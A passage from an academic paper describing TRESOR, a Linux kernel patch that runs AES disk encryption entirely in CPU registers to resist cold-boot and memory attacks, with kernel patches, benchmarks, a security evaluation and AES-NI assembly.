+ return -EBUSY;
+ #endif

if (n == 6) {
thread->debugreg6 = v;
goto ret_path;

}
if (n < HBP_NUM) {

rc=ptrace_set_breakpoint_addr(t,n,v);
if (rc) return rc;

}
if (n == 7) {

rc=ptrace_write_dr7(t, v);
if (!rc) thread->ptrace_dr7 = v;

}
ret_path: return rc;

}

Figure 3: Patched setter for debug registers

The debug registers can only be accessed from priv-
ilege level 0, i.e., from kernel space but not from user
space. Only the ptrace system call allows user space
applications like GDB to read from and write to them in
order to debug a traced child. This makes it effectively
possible to control access to debug registers centrally,
i.e., on system call level. Running an unpatched Linux
kernel, user space threads can access debug registers via

ptrace; running a TRESOR patched kernel, we filter
this access.

Figures 3 and 4 list patches we applied to
functions of the ptrace implementation in
/arch/x86/kernel/ptrace.c: ptrace set
debugreg and ptrace get debugreg. The first
patch returns -EBUSY whenever the user space attempts
to write into breakpoint registers and -EPERM whenever
it tries to write into debug control registers. The second
patch returns just 0 for any read access to debug
registers.

long ptrace_get_debugreg(tsk_struct *t, int n)
{

thread_struct *thread = &(t->thread);
unsigned long val = 0;

+ #ifndef CONFIG_CRYPTO_TRESOR
if (n < HBP_NUM) {

struct perf_event *bp;
bp = thread->ptrace_bps[n];
if (!bp) return 0;
val = bp->hw.info.address;

}
else if (n == 6)

val = thread->debugreg6;
else if (n == 7)

val = thread->ptrace_dr7;
+ #endif

return val;
}

Figure 4: Patched getter for debug registers

Additionally, we patched elementary functions in
/arch/x86/include/asm/processor.h to pre-
vent kernel internals other than ours from accessing
the debug registers: native set debugreg and
native get debugreg. While the ptrace patches
prevent user space threads from accessing debug regis-
ters, these patches prevent the kernel itself from access-
ing them, e.g., during context switching and ACPI sus-
pend.

Atomicity

The operating system regularly performs context
switches where processor contents are written out to
main memory. When TRESOR is active, the CPU con-
text encompasses sensitive information because our im-
plementation uses SSE and general purpose registers to
store round keys and intermediate states. These registers
are not holding sensitive data persistently, like the debug
registers do, but they hold them temporarily for the pe-
riod of encrypting one block. Thus, although our AES
implementation runs solely on registers and although we
have patched the kernel to protect debug registers, sen-
sitive data may still be written to RAM whenever the
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scheduler decides to preempt AES in the middle of an
encryption phase.

We solved this challenge by making the encryption of
individual blocks atomic. Resetting the contents of SSE
and general purpose registers before leaving the atomic
section is an effective method to keep their contents away
from context switching. Our atomicity does not only
concern scheduling, but interrupt handling, too, because
interrupt handlers, spontaneously called by the hardware,
can write the CPU context into RAM as well.

Hence, to set up an atomic section we have to disable
interrupts. On multi-core systems it is sufficient to dis-
able interrupts locally, i.e., on the CPU the encryption
task actually takes place on. Other CPUs can proceed
with their tasks as a context switch on one CPU does not
affect registers of another.

preempt_disable();
local_irq_save(*irq_flags);
// ... (encrypt block)
local_irq_restore(*irq_flags);
preempt_enable();

Figure 5: AES block encryption runs atomically

Figure 5 illustrates how to set up an atomic sec-
tion in the Linux kernel that meets our needs. First
preempt disable is called to pause kernel pre-
emption, meaning that running kernel code cannot
be interrupted by scheduling anymore. Second,
local irq save is called to save the local IRQ
state and to disable interrupts locally. Next we are
safe to encrypt an AES block as we are inside the
atomic section. SSE and general purpose registers
are only allowed to contain sensitive data within this
section and must be reset before it is left. Once
they are reset, local interrupts can be re-enabled (by
local irq restore) and kernel preemption can be
continued (by preempt enable).

Crypto API

We integrated TRESOR into the Linux kernel Crypto-
API, an interface for cryptographic ciphers, hash func-
tions and compression algorithms. Besides a coherent
design for cryptographic primitives, the Crypto-API pro-
vides us with several advantages:

• It allows ciphers to be dynamically (un)loaded as
kernel modules. We left support for the standard
AES module untouched and inserted TRESOR as a
completely new cipher module. This enables end
users to choose between TRESOR and standard
AES, to run them in parallel, to compare their per-
formance, etc.

• We do not have to implement cipher modes of op-
eration, like ECB and CBC, ourselves since the
Crypto-API handles them automatically. We have
to provide the code to encrypt a single input block
only and encrypting larger messages is done by the
API.

• Existing software, most notably the disk encryption
solution dm-crypt, is based on the Crypto-API and
open to new cipher modules. That is, we do not have
to patch dm-crypt to support TRESOR, but it is sup-
ported out-of-the-box. (Only third party encryption
systems which do not rely on the Crypto-API, like
TrueCrypt, cannot benefit from TRESOR without
further ado.)

All in all, integrating TRESOR into the Crypto-API
simplifies design. However, there is also a little draw-
back of the Crypto-API: It comes with its own key man-
agement which is too insecure for our security policy
because it stores keys and key schedules inside RAM.
To overcome this difficulty without changing the Crypto-
API, we pass on a dummy key and look after the real key
ourselves. Setting up an encryption system, the end user
can pass on an arbitrary bit sequence as dummy key, but
for apparent reasons it should not be equal to the real key.

3 Compatibility

We evaluated TRESOR regarding its compatibility with
existing software (Section 3.1) and hardware (Sec-
tion 3.2).

3.1 Software compatibility
Running on a 64-bit CPU, TRESOR is compatible with
all three variants of AES, i.e., with AES-128, AES-192,
and AES-256. To verify that no mistake slipped into
the implementation we show its compatibility to standard
AES: First of all we used official test vectors as defined in
FIPS-197 [12]. TRESOR is integrated into the Crypto-
API in such a way that a test manager proves its cor-
rectness based on these vectors each time the TRESOR
module is loaded. Second, we scrambled a partition
with TRESOR, unscrambled it with standard AES and
vice versa. Along with structured data like text files and
the filesystem itself, we created large random files and
compared both plaintext versions, i.e., before scrambling
with AES and after unscrambling with TRESOR. We
compared these files and found them to be equal. This in-
dicated the correctness of our implementation – not only
in terms of single, predefined blocks (as test vectors do)
but also regarding a great amount of random data.

Thanks to the Crypto-API, TRESOR is compatible
with all kernel and user space applications relying on
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> cryptsetup create tr /dev/sdb1 -c tresor
Enter passphrase: ******

> mkfs.ext2 /dev/mapper/tr
> mount /dev/mapper/tr /media/tresor/

Figure 6: Create TRESOR partition using cryptsetup

this API. Among others these are the kernel-based disk
encryption solution dm-crypt and all its user space fron-
tends, e.g., cryptsetup and cryptmount. Figure 6
lists shell instructions to set up a TRESOR encrypted par-
tition on the device /dev/sdb1. The password can be
any arbitrary string as it is only used to create the dummy
key; it has no effect on the actual encryption process.
Consequently, a partition can be encrypted with the pass-
word “foobar” and decrypted with the password “magic”
(as long as the TRESOR key stays the same).

TRESOR is expected to be compatible with all Linux
distributions, meaning that all prepackaged user mode
binaries are expected to run on top of the TRESOR ker-
nel. For “normal” user mode applications like a shell,
the desktop environment, your web browser, etc., this is
pretty much self-evident – for a debugger it is not. But
even for debuggers like GDB, binary compatibility is not
broken because access to debug registers is handled via
ptrace and we intercept this system call to inform the
user space that all breakpoint registers are busy – a sit-
uation which could occur without TRESOR as well. To
be more precise, we have to distinguish breakpoints and
watchpoints:

1. Breakpoints: Calling break, GDB does not use
hardware breakpoints by default. Instead it uses
software breakpoints because their performance
penalty is negligible and they can be defined in
any quantity. Hardware breakpoints must explic-
itly be invoked by calling hbreak which fails on
TRESOR with “Couldn’t write debug register: De-
vice or resource busy.”

2. Watchpoints: Unlike breakpoints, watchpoints can-
not be implemented well in software and run about
a hundred times slower than normal execution [33].
Thus, GDB sets hardware watchpoints by default.
Calling watch fails on TRESOR with “Couldn’t
write debug register: Device or resource busy.”
as well. To use software watchpoints instead,
set can-use-hw-watchpoints 0 must be
run before.

Admittedly, not being able to use hardware break-
points may be a reasonable drawback for malware ana-
lysts and software reverse engineers. Here we must limit
the target audience to end-users and “normal” develop-
ers.

3.2 Hardware compatibility
TRESOR is only compatible with real hardware. Run-
ning TRESOR as guest inside a virtual machine is gen-
erally insecure as the guest’s registers are stored in the
host’s main memory.

On hardware level, TRESOR’s compatibility is fur-
ther restricted to the x86 architecture. It is possible to
run AES entirely on the microprocessor, even without
an AES-NI instruction set (given that your CPU sup-
ports at least SSE2, which is the case for Pentium 4 and
later CPUs). But in order to run full AES efficiently,
processor compatibility is restricted to Intel’s Core-i se-
ries at present. More clearly, we recommend the usage
of 64-bit CPUs supporting the AES-NI instruction set.
More and more processors will fall into this category in
the future. Intel supports AES-NI since its mircoarchi-
tecture code-named Westmere. AMD announced to sup-
port AES-NI starting with its Bulldozer core; processors
based on this core are going to be released in 2011 [20].
All in all, many, if not most, upcoming x86 CPUs will
support AES-NI.

4 Performance

We present performance measurements running a 64-bit
Linux on an Intel Core i7-620M. The two performance
aspects we evaluated are encryption speed and system
reactivity. The latter may be affected because we halt the
scheduler and run AES atomically.

4.1 Encryption benchmarks
We expected a performance penalty of TRESOR because
of its recomputation of the key schedule for each input
block – a substantial computing overhead compared to
standard implementations which calculate the round keys
only once. As shown in Section 2.3, round key gener-
ation is a heavy operation compared to the rest of the
AES algorithm; and we are running through the entire
key schedule for each 128-bit chunk, even when encrypt-
ing megabytes of data.

To measure the throughput of TRESOR in practice,
we performed several disk encryption benchmarks. For
disk benchmarking we mounted four partitions, one en-
crypted with TRESOR, one encrypted with generic AES,
one encrypted with common AES-NI, and a plain one
that was not encrypted at all. We mounted all of them
with the sync option, meaning that I/O to the filesys-
tem is done synchronously. We did this to avoid unre-
alistically high speed measurements that arise from disk
caching. Caching would falsify our results because en-
cryption does not take place before the data is actually
going to disk.
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Key Generic AES AES-NI TRESOR Plain
128 14.67 15.63 17.04
192 14.89 15.40 16.47 47.32
256 15.04 15.92 15.77

Table 1: dd throughput (in MB/s)

Table 1 lists average values over 24 dd runs, each writ-
ing a 400M file.4 TRESOR-128 is faster than TRESOR-
192 which again is faster than TRESOR-256, because
with an increasing key size, more rounds are performed
(10, 12 and 14, respectively) and thus, more round keys
must be calculated on-the-fly.

The table also shows that TRESOR performs well in
comparison to conventional AES variants: TRESOR is
faster than the generic implementation of AES and even
slightly faster than common AES-NI implementations.
We were surprised by this ourselves and double-checked
the results – once with the AES-NI module shipped with
Linux 2.6.36 and additionally with a self-written vari-
ant. Currently, we have no good explanation for this ef-
fect. One possibility is that TRESOR gains advantage
over other threads due to its atomic sections. Another
possibility is that linear key generation on registers per-
forms generally better than fetching round keys one after
another from RAM.

Generic AES AES-NI TRESOR Plain
read 2.10 2.54 2.80 7.95

write 6.92 8.39 9.26 26.23

Table 2: Postmark benchmarks for AES-256 (in MB/s)

Besides measuring the throughput of dd, we uti-
lized the disk drive benchmarking utility Postmark [19].
Postmark creates, reads, changes, and deletes many
small files rather than just writing a single large file.
As shown in Table 2, TRESOR has an advantage over
generic AES and common AES-NI here as well.

Additionally, to measure the exact time needed to en-
crypt a single block, we wrote a kernel module named
tresor-test. Inserting this module, diverse perfor-
mance tests can be run for AES-128, AES-192, and
AES-256. Findings from this module confirm our as-
sumption that TRESOR runs faster than standard AES.
For example, with TRESOR an AES-128 block is en-
crypted in about 440 nanoseconds (ns), while standard
AES needs about 538 ns (but these values fluctuate heav-
ily in practice, by more than 100%, and thus, we consider
disk benchmarks as more reliable).

Overall, TRESOR involves no performance penalty

4The underlying series of tests can be found in Appendix A.2.

and the impact of an on-the-fly round key generation is
negligible.

4.2 Interactivity benchmarks

Performing heavy TRESOR operations in background,
the OS reactivity to interactive events may be affected
because TRESOR disables interrupts in order to run en-
cryption atomically. In a desktop environment, for in-
stance, mouse and keyboard events are raising interrupts
which are now delayed until the end of a TRESOR oper-
ation. Furthermore, automatic scheduling is disabled for
this period.

Hence, to preserve the reactivity of the system, we set
the scope of atomicity to the smallest reasonable unit,
namely to the encryption of a single 128-bit input block.
Between processing two 128-bit blocks, interrupt pro-
cessing and scheduling can take place as usual. Thereby
interactivity is hardly affected because – as mentioned in
the last section – it takes only 500 ns on average to en-
crypt a single block. Assuming it never takes more than
1000 ns, interrupt handling and scheduling can take place
each microsecond if needed. But only delays greater
than 150 milliseconds are perceptible by humans [10]
and Linux scheduling slices are commonly between 50
and 200 milliseconds as well.

Crypto Add. Load AVG MAX STD
Generic None 1.40 34.2 4.96
AES X 6.73 43.0 11.30

Compile 26.80 64.7 30.30
TRESOR None 0.93 37.3 3.99

X 6.65 44.3 11.30
Compile 26.40 79.2 30.30

Plain None 0.14 26.2 1.51
X 0.40 23.8 2.34
Compile 0.74 32.4 3.47

Table 3: Interbench (latencies in ms)

To prove that interactivity is indeed not affected in
practice, we draw upon measurements from the bench-
marking utility Interbench [9]. We used Interbench to
simulate a video player trying to get the CPU 60 times
per second, i.e., simulating 60 fps. Table 3 lists a se-
lection of interactivity benchmarks running on an Intel
Core i7-620M under different loads.5 We disabled all but
the first CPU core to get a more convincing test set-up.
As shown by the table, latencies introduced by TRESOR
do not differ much from those introduced by generic
AES: Average latencies are slightly better for TRESOR,

5Full benchmarks are listed in Appendix A.3.
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maximum latencies are slightly better for generic AES,
and standard deviations are almost the same.

Overall, the atomic sections introduced with TRESOR
are too short to have any measurable effect to the reac-
tivity of the Linux kernel.

5 Security

Although it performs quite well, the ultimately decisive
factor to employ TRESOR should not be its performance
but its security qualities. Therefore we prove TRESOR’s
resistance against attacks on debug registers and, above
all, attacks on main memory.

5.1 Memory attacks

We have implemented AES in a way that nothing but
the scrambled output block is actively written into main
memory. However, this alone does not guarantee the se-
curity of TRESOR, because sensitive data may be copied
passively into RAM by side effects of the OS or hard-
ware, such as interrupt handling, scheduling, swapping,
ACPI suspend modes, etc. For example, we cannot di-
rectly exclude the possibility that there is a piece of ker-
nel code reading from debug registers in assembly rather
than calling our patched native get debugreg in
C. To minimize this risk, we performed extensive tests
observing the main memory of a TRESOR system at run-
time.

The problem we faced was how to observe main
memory reliably and efficiently. Just reading from
/proc/kcore or /dev/mem in a running Linux sys-
tem was not an option as the reading process itself in-
vokes kernel code which may falsify the result. On the
other hand, performing real attacks on main memory, like
cold boot attacks, to read out what is physically left in
RAM is very time consuming. Thus, we decided to run
TRESOR as guest inside a virtual machine and to exam-
ine its “physical” memory from the host.

As VM we chose Qemu/KVM [11, 2] because it is
lightweight, has a debug console and – last but not least
– is compatible with TRESOR (many other VMs are not;
VirtualBox [25], for instance, does not support AES-NI).
The debug console of Qemu allows to read CPU regis-
ters and to take physical memory dumps in a comfortable
way.

We started to browse the VM memory of an ac-
tive disk encryption system with key recovery tools like
AESKeyFind [15] and Interrogate [7]. As was expected,
these tools successfully reconstructed the key of standard
AES but not that of TRESOR. However, this alone is not
a meaningful result because AES key recovery is com-
monly based on the AES key schedule (since the secret

key itself has no structure; it is just a random bit se-
quence). As shown in Section 2.3, key schedules are not
persistently stored under TRESOR and thus, key recov-
ery must fail – it would even fail if the key actually leaks
to RAM.

Unlike real attackers, we are aware of the secret key.
We took advantage of this knowledge and searched for
the key bit pattern. Overall, we could find a bit sequence
matching the key of generic AES but none matching that
of TRESOR. However, even these findings do not nec-
essarily imply that the key is not present in RAM, be-
cause it could be stored discontinuously. This is not even
unlikely, because inside the CPU it is stored discontinu-
ously as well (in four breakpoint registers, 64-bit each).
Context switching may store each register separately, for
example.

Consequently, we had to perform more meaningful
tests taking fractions of the key into account. And thus,
we sought after the longest match of the key pattern and
its reverse and any parts of those, in little and in big en-
dian. We did not observe any case under TRESOR where
the longest match exceeded three bytes. And matches
of no more than three bytes can be explained purely by
probabilities (as also attested by searching for random bit
sequences instead of real key fractions).

This further raised our confidence that neither the se-
cret key nor any part of it was in RAM – at the time we
took the memory dump. This leads us to the immediately
next problem: How can we ensure that main memory
does not hold any part of the key at other times? In prin-
ciple, this question is impossible to answer fully because
of the intricacies of information leakage. In practice, it is
hardly feasible to put the Linux kernel into all its possible
states and to take a memory dump at the precise moment.

We tried to analyze at least the in our view most rele-
vant states concerning swapping and suspend. Both are
of special interest for TRESOR as they swap CPU reg-
isters into RAM or even further onto disk. We induced
swapping by creating large data structures in RAM. Once
Linux began to swap data onto disk we took a mem-
ory dump and a disk dump and analyzed both with
the methods mentioned before. Parts of the secret key
could neither be traced on disk nor in RAM. (Also for
generic AES, we never found sensitive information on
disk because kernel space memory is not swappable un-
der Linux.)

To examine TRESOR’s behavior for ACPI S3 (sus-
pend to RAM) we performed tests in Qemu and addi-
tionally on real hardware because Qemu fails to wake up
after S3. ACPI S4 (suspend to disk) on the other hand
works just fine under Qemu. Our findings indicate that
knowledge about the secret key is lost during both sus-
pend modes, because again, neither in RAM nor on disk
we could trace the key. As the CPU is switched off dur-
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Active AES Generic TRESOR None
Kernel state normal normal swapping suspend normal

Key recovery (AESKeyFind) yes no no no no
Dummy key matches – yes yes* yes –

Real key matches yes no no no no
Longest match of real key (bytes) 32 3 3 3 3

*) found in RAM, not on disk

Table 4: AES-256 key tracing, an overview

ing suspension, the key is irretrievably lost. We also ver-
ified this by looking into the CPU registers before, dur-
ing, and after suspension. After suspension, the CPU
context is restored completely except for the debug reg-
isters. (Therefore, TRESOR prompts the user to re-enter
the password upon wakeup).

Table 4 summarizes our findings of tracing an
AES-256 key in RAM and disk storage. Only using
Linux’ generic implementation of AES, the secret key
can be recovered by AESKeyFind and Interrogate. Us-
ing TRESOR, or no disk encryption system at all, no
key can be recovered. Indeed, we can trace the dummy
key of TRESOR as it is stored in RAM by the Crypto-
API, but the dummy key is of absolutely no importance.
AESKeyFind cannot even recover the dummy key be-
cause no key schedule of it is ever computed or stored
in RAM. The full 256-bit pattern of the real key can
only be traced running generic AES. Under TRESOR,
the longest sequence matching the real key has no more
than three bytes in all kernel states we tested.

Concluding, we searched for the secret AES key with
different methods in different situations and neither the
entire key, nor any parts of it, could ever be traced in
RAM. While this proves that we are successfully keep-
ing the key away from RAM in general, we have no per-
suasive argument that the key never enters RAM. Admit-
tedly, it is unlikely that a piece of code other than context
switching swaps debug registers into RAM, but it can-
not be ruled out. Anyhow, even for the hypothetical case
where such a piece of code exists, we are quite confident
that we can patch it. Hence, the feasibility of a system
like TRESOR and its fundamental idea to store secret
keys in debug registers is not at risk.

5.2 Processor attacks
Now that the key is stored inside the CPU and never en-
ters RAM, attackers may target processor registers rather
than RAM. Basically there are two ways to attack pro-
cessor registers: on software and on hardware layer.

On software layer we distinguish attackers who could
gain root access and attackers with an unprivileged ac-
cess. Naturally, for attackers with standard user privi-

leges there should be no way to read out the key. As de-
bug registers are only accessible from kernel space and
as the only way for standard users to execute kernel code
are system calls, unprivileged attackers are successfully
defeated by the ptrace patch. We verified this with a
user space utility making ptrace calls to read out de-
bug registers; as was expected, only 0 is returned to user
space. Overwriting the key via ptrace is not possible
either; here -EBUSY (dr0 to dr3) and -EPERM (dr6 and
dr7) are returned.

For root the situation is different, because for root
there are more ways to execute kernel code: via mod-
ules (LKMs) and via /dev/kmem. If Linux is compiled
with LKM or KMEM support, root can insert arbitrary
code into a running kernel and execute it with ring 0 priv-
ileges. To demonstrate this for LKMs, we have created a
small malicious module reading out the debug registers
and writing them into the kernel log file. A similar attack
is possible by writing to /dev/kmem. Thus, if com-
piled with LKM or KMEM support, root can gain full
access to the TRESOR key. On the other hand, if com-
piled without LKM and KMEM support, even root has
no ability to access the secret key – an advantage over
conventional disk encryption systems where root can al-
ways read and write the secret key from RAM. Running
TRESOR without LKM and KMEM support, the key can
be set once upon boot but never be retrieved or manipu-
lated while the system is running.

Besides the software layer, the hardware layer is crit-
ical. With physical access to the machine, new possibil-
ities open up for the attacker. First of all, for advanced
electrical engineers it may be possible to read out regis-
ters of a running CPU with an oscilloscope, by measur-
ing the electromagnetic field around the CPU or what-
ever else. But we are not aware of any successful attacks
of this type.

Instead, we focus on a simpler scenario: it may be
possible to reboot the machine with a malicious boot de-
vice reading out what is left in CPU registers (similar
to cold boot attacks [14]). Performing such an attack,
the interesting question is whether CPU registers are re-
set to zero upon reboot or keep their contents until they
are used otherwise. Besides the BIOS version and CPU
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reinitialization code, the answer may depend on whether
the machine was rebooted by a software interrupt (e.g.,
by pressing CTRL-ALT-DEL) or by pressing a hardware
reset button. While the former method keeps the CPU on
power, the latter switches it off briefly.

To investigate the practical impact of such an at-
tack, we developed a malicious boot device called Cobra
(Cold Boot Register Attack). First tested on virtual ma-
chines, Cobra revealed that debug registers are reset on
hardware reboots but not on software reboots. On soft-
ware reboots, Cobra was able to restore debug regis-
ters; all tested virtual machines (Qemu, Bochs, VMware
and VirtualBox) showed this behavior. If real hardware
showed this behavior as well, the consequences would
be fatal. It would be an ease to read out the secret key
and hence, TRESOR would be practically useless. For-
tunately, it turned out that all VMs have a little imple-
mentation flaw regarding this attack. On real hardware,
debug registers are always reset to zero – also upon soft-
ware reboots. We verified this by testing different ma-
chines with different processors and BIOS versions. Ta-
ble 5 gives an overview of our findings.

BIOS Soft Reboot Hard Reset
Athlon 64 AMI - -
Pentium 4 Phoenix - -
Pentium M First - -
Celeron M Phoenix - -
Core2 Duo First - -
Core i5 Phoenix - -
Core i7 Lenovo - -
Qemu Bochs x -
Bochs Bochs x -
VMware Phoenix x -
VirtualBox N/A x -

[x] = vulnerable [-] = not vulnerable

Table 5: Cobra (Cold Boot Register Attack)

Overall, we argue that TRESOR is secure against
local, unprivileged attacks in any case. Beyond that,
TRESOR is even secure against attackers who could gain
root access, if the kernel is compiled without LKM and
KMEM support. On hardware level, TRESOR with-
stands cold boot attacks against both main memory and
CPU registers. This does only hold for real hardware,
but running TRESOR inside a virtual machine is insecure
anyhow as register contents of the guest are simulated in
the host’s main memory.

5.3 Side channel attacks
Last, we want to mention briefly that TRESOR is resis-
tant to timing attacks [26]. This is not the achievement of

ourselves but that of Intel, or, to be more precise, that of
AES-NI. Intel states: “Beyond improving performance,
the AES instructions provide important security bene-
fits. By running in data-independent time and not us-
ing tables, they help in eliminating the major timing and
cache-based attacks that threaten table-based software
implementations of AES.” [31] Based on this statement
and the fact that there are no input dependent branches in
the control flow of our code, we argue that TRESOR is
resistant to side channel attacks, too.

6 Conclusions and Future Work

In the face of known attacks against main memory (above
all, DMA and cold boot attacks) we consider RAM as too
insecure to guarantee the confidentiality of secret disk
encryption keys today. Thus we presented TRESOR, an
approach to prevent main memory attacks against AES
by implementing the encryption algorithm and its key
management entirely on the microprocessor, solely using
processor registers. We first explained important design
choices of TRESOR and the key aspects of its imple-
mentation. We then discussed how we integrated it into
the Linux kernel. Eventually we showed that it performs
well in comparison to the generic version of AES and,
most importantly, that it satisfies our security policy.

6.1 Conclusions

Our primary security goal was to prevent tracing of the
secret key in volatile memory, effectively making attacks
on main memory pointless. Despite considerable effort,
we were not able to retrieve the key in RAM. Therefore,
we are confident that TRESOR is a substantial improve-
ment compared to conventional disk encryption systems.
As we took perfectly intact memory images of a run-
ning TRESOR VM and knew the key beforehand, we
had an advantage over real attackers trying to retrieve an
unknown key. This strengthens our test results, because
if we cannot retrieve the known key in an unscathed im-
age, it is even more unlikely that an attacker can retrieve
an unknown key in a partially damaged image.

Another security goal was, of course, not to intro-
duce flaws which are not present in ordinary encryp-
tion systems. Therefore, we showed that TRESOR is
safe against local attacks on the software layer as well
as on the hardware layer. Interestingly, if the kernel is
compiled without LKM and KMEM support, there is no
(known) way to retrieve the secret key even though privi-
leged root access is given – again, a substantial improve-
ment compared to conventional disk encryption systems.

Besides evaluating security aspects, we collected
performance benchmarks, revealing that TRESOR is
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slightly faster than common versions of AES. Further-
more, we showed that the reactivity of Linux is not af-
fected by the atomicity of encryption and decryption.

Summarizing, TRESOR runs encryption securely out-
side RAM and thereby it achieves a higher security than
any disk encryption system we know – without losing
performance or compatibility with existing applications.
To conclude, it is possible to treat RAM as untrusted and
to store secret keys in a safe place of today’s x86 standard
architecture.

6.2 Future Work

Currently, TRESOR allows only to store a single, static
key, because the debug registers cannot hold a second
one. Future versions of TRESOR may keep multiple disk
encryption keys securely inside RAM by srambling them
with a master key, like in Loop-Amnesia [27].

This idea may be extended to an even broader use case
in the future: Further AES keys to be used in conjunction
with IPSec or SSL, i.e., to be used in conjunction with the
userland, could be encrypted with the TRESOR master
key and stored securely inside RAM. Session keys could
be set and removed dynamically in any quantity. Using
such a session key to encrypt an input block, the user
space application would have to make a special system
call that: 1) invokes TRESOR to read and decrypt the de-
sired key and 2) lets TRESOR use the recently decrypted
key to encrypt the input block. Between these steps, the
session key may not leave the processor, meaning both
steps need to happen inside the same atomic section. As
a downside, such a system would require user space sup-
port and would induce a performance penalty.

Another future task is to move the secret key into reg-
isters which are even less frequently used than the debug
registers, e.g., into machine specific registers (MSRs).
As a benefit, by using MSRs as cryptographic key stor-
age, debuggers would be able to use hardware break-
points and watchpoints again. However, the best way
to get round this problem would be the introduction of
a special key register into future versions of AES-NI by
Intel or AMD.

Last, we want to investigate the possibility of imple-
menting a TRESOR like system as third party applica-
tion for Windows.
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www1.informatik.uni-erlangen.de/tresor.

References
[1] Windows BitLocker Drive Encryption Frequently Asked Ques-

tions. http://technet.microsoft.com/en-us/
library/cc766200(WS.10).aspx, July 2009.

[2] KVM: Kernel Based Virtual Machine, 2010. http://www.
linux-kvm.org/.

[3] BECHER, M., DORNSEIF, M., AND KLEIN, C. N. FireWire
- All Your Memory Are Belong To Us. In Proceedings of the
Annual CanSecWest Applied Security Conference (Vancouver,
British Columbia, Canada, 2005), Laboratory for Dependable
Distributed Systems, RWTH Aachen University.

[4] BÖCK, B. Firewire-based Physical Security Attacks on Windows
7, EFS and BitLocker. Secure Business Austria Research Lab,
Aug. 2009.

[5] BOILEAU, A. Hit by a Bus: Physical Access Attacks with
Firewire. In Proceedings of Ruxcon ’06 (Sydney, Australia, Sept.
2006). Tool (2008): http://storm.net.nz/static/
files/winlockpwn.

[6] CARRIER, B. D., AND GRAND, J. A Hardware-Based Memory
Acquisition Procedure for Digital Investigations. Digital Inves-
tigation 1, 1 (Feb. 2004), 50–60.

[7] CARSTEN MAARTMANN-MOE. Interrogate. http://
interrogate.sourceforge.net/, Aug. 2009.

[8] CHRISTOPHE DEVINE AND GUILLAUME VISSIAN. Compro-
mission physique par le bus PCI. In Proceedings of SSTIC ’09
(June 2009), Thales Security Systems.

[9] CON KOLIVAS. Interbench: The Linux Interactivity
Benchmark, 2006. http://users.on.net/˜ckolivas/
interbench/.

[10] DABROWSKI, R., J., MUNSON, AND V., E. Is 100 Millisec-
onds Too Fast? In Proceedings of the CHI Conference on Human
Factors in Computing Systems (2001), vol. 2 of Short talks: in-
teraction techniques, ACM, pp. 317–318.

[11] FABRICE BELLARD. Qemu: Open Source Processor Emulator,
2010. http://qemu.org.

[12] FIPS. Advanced Encryption Standard (AES). Federal Informa-
tion Processing Standards Publication 197, National Institute for
Standards and Technology, Nov. 2001.

[13] GUILLAUME DELUGRE. Reverse Engineering the Broadcom Ne-
tExtreme’s firmware. In Proceedings of HACK.LU ’10 (Luxem-
bourg, Nov. 2010), Sogeti ESEC Lab.

[14] HALDERMAN, J. A., SCHOEN, S. D., HENINGER, N., CLARK-
SON, W., PAUL, W., CALANDRINO, J. A., FELDMAN, A. J.,
APPELBAUM, J., AND FELTEN, E. W. Lest We Remember:
Cold Boot Attacks on Encryptions Keys. In Proceedings of the
17th USENIX Security Symposium (San Jose, CA, Aug. 2008),
Princeton University, USENIX Association, pp. 45–60.

[15] HENINGER, N., AND FELDMAN, A. AESKeyFind. http:
//citp.princeton.edu/memory-content/src/,
July 2008.

[16] HITACHI GLOBAL STORAGE TECHNOLOGIES. Safeguarding
Your Data with Hitachi Bulk Data Encryption, July 2008.
http://www.hitachigst.com/tech/techlib.nsf/
techdocs/74D8260832F2F75E862572D7004AE077/
$file/bulk_encryption_white_paper.pdf.

13



264 20th USENIX Security Symposium USENIX Association

[17] HULTON, D. Cardbus Bus-Mastering: 0wning the Laptop.
In Proceedings of ShmooCon ’06 (Washington DC, USA, Jan.
2006).

[18] INTEL CORPORATION. Intel 64 and IA-32 Architectures Soft-
ware Developer’s Manual, Volume 3A and 3B ed., Jan. 2011.
System Programming Guide.

[19] JEFFREY KATCHER. PostMark: A New File System Bench-
mark. http://communities-staging.netapp.
com/servlet/JiveServlet/download/2609-1551/
Katcher97-postmark-netapp-tr3022.pd, 1997.
Network Appliance, Inc.

[20] JOHN FRUEHE, DIRECTOR OF PRODUCT MARKETING. Follow-
ing Instructions. http://blogs.amd.com/work/2010/
11/22/following-instructions/, Nov. 2010. AMD.
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A Appendix

A.1 AES-128 Source Code

.set rstate, %xmm0 // AES state

.set rhelp, %xmm1 // helping reg

.set rk0, %xmm2 // round key 0

.set rk1, %xmm3 // round key 1

.set rk2, %xmm4 // round key 2

.set rk3, %xmm5 // round key 3

.set rk4, %xmm6 // round key 4

.set rk5, %xmm7 // round key 5

.set rk6, %xmm8 // round key 6

.set rk7, %xmm9 // round key 7

.set rk8, %xmm10 // round key 8

.set rk9, %xmm11 // round key 9

.set rk10, %xmm12 // round key 10

.macro key_schedule r0 r1 rcon
pxor rhelp,rhelp
movdqu \r0,\r1
shufps $0x1f,\r1,rhelp
pxor rhelp,\r1
shufps $0x8c,\r1,rhelp
pxor rhelp,\r1
aeskeygenassist $\rcon,\r0,rhelp
shufps $0xff,rhelp,rhelp
pxor rhelp,\r1

.endm

movq %db0,%rax
movq %rax,\r0
movq %db1,%rax
movq %rax,rhelp
shufps $0x44,rhelp,\r0
pxor rk0,rstate

key_schedule rk0 rk1 0x1
key_schedule rk1 rk2 0x2
key_schedule rk2 rk3 0x4
key_schedule rk3 rk4 0x8
key_schedule rk4 rk5 0x10
key_schedule rk5 rk6 0x20
key_schedule rk6 rk7 0x40
key_schedule rk7 rk8 0x80
key_schedule rk8 rk9 0x1b
key_schedule rk9 rk10 0x36
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aesenc rk1,rstate
aesenc rk2,rstate
aesenc rk3,rstate
aesenc rk4,rstate
aesenc rk5,rstate
aesenc rk6,rstate
aesenc rk7,rstate
aesenc rk8,rstate
aesenc rk9,rstate
aesenclast rk10,rstate

A.2 dd Benchmarks for AES-192

--- Plain
410 MB copied, 6.30053 s, 65.0 MB/s
410 MB copied, 6.93762 s, 59.0 MB/s
410 MB copied, 10.0737 s, 40.7 MB/s
410 MB copied, 9.66396 s, 42.4 MB/s
410 MB copied, 8.20149 s, 49.9 MB/s
410 MB copied, 7.42723 s, 55.1 MB/s
410 MB copied, 7.16408 s, 57.2 MB/s
410 MB copied, 8.54818 s, 47.9 MB/s
410 MB copied, 9.91214 s, 41.3 MB/s
410 MB copied, 6.91875 s, 59.2 MB/s
410 MB copied, 10.3003 s, 39.8 MB/s
410 MB copied, 8.63959 s, 47.4 MB/s
